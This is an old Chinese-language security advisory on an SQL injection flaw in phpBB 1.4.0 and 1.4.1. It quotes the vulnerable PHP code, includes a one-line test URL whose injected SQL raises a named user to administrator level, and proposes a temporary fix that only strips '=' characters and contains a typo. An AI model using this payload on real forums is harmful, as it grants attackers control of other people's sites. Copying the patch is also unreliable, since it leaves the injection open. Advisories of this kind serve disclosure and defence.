首页 -> 安全研究

安全研究

安全漏洞
phpBB 远程SQL查询处理漏洞

发布日期:2001-08-03
更新日期:2001-08-06

受影响系统:

phpBB.com phpBB 1.4.1
phpBB.com phpBB 1.4.0
描述:

BUGTRAQ ID : 3142

phpBB是一个免费开放源代码且很容易使用的Web论坛软件。

由于phpBB没有正确处理用户的输入,导致恶意用户可能通过构造一个特殊的请求使自
己升级为论坛的超级管理员。

有问题的代码(auth.php)如下:

if(get_magic_quotes_gpc() == 1)
{
switch($REQUEST_METHOD){
   case "POST":
      while (list ($key, $val) = each ($HTTP_POST_VARS)){
         if( is_array($val) ){
            array_walk($val, 'stripslashes_array', '');
            $$key = $val;
         }
         else{
            $$key = stripslashes($val);
         }
      }
   break;

上面的代码没有检查是否用户提供的变量中包含引号。因此,在prefs.php中存在的一个漏洞就可能
使用户执行任意的SQL请求。攻击者只需要在$viewmail变量中输入特定的SQL语句即可。
有问题的代码(prefs.php)如下:

$sql = "UPDATE users SET
user_viewemail='$viewemail',
user_theme='$themes', user_attachsig = '$sig',
user_desmile = '$smile', user_html = '$dishtml',
user_bbcode
= '$disbbcode', user_lang = '$lang' WHERE
(user_id = '$userdata[user_id]')";
</ End example code >

<*来源:(kill-9@modernhackers.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


kill-9@modernhackers.com)提供了如下测试代码:

http://sitename/phpBBfolder/prefs.php?save=1&viewemail=1',user_level%3D'4'%2
0where%20username%3D'l337h4x0r'%23

上面的代码将给'l337h4x0r'用户的用户等级设为4.

建议:

临时解决方法:

在prefs.php的51行后增加以下代码:

fviewemail = str_replace('=','',$viewemail);
$fthemes = str_replace('=','',$themes);
$fsig = str_replace('=','',$tsig);
$fsmile = str_replace('=','',$smile);
$fdishtml = str_replace('=','',$dishtml);
$fdisbbcode = str_replace('=','',$disbbcode);
$flang = str_replace('=','',$lang);
$sql = "UPDATE users SET user_viewemail='$fviewemail',user_theme='$fthemes',
user_attachsig = '$fsig', user_desmile = '$fsmile',user_html =
'$fdishtml',user_bbcode = '$fdisbbcode', user_lang = '$flang' WHERE (user_id
='$userdata[user_id]')";

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.phpbb.com/




浏览次数:3906
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障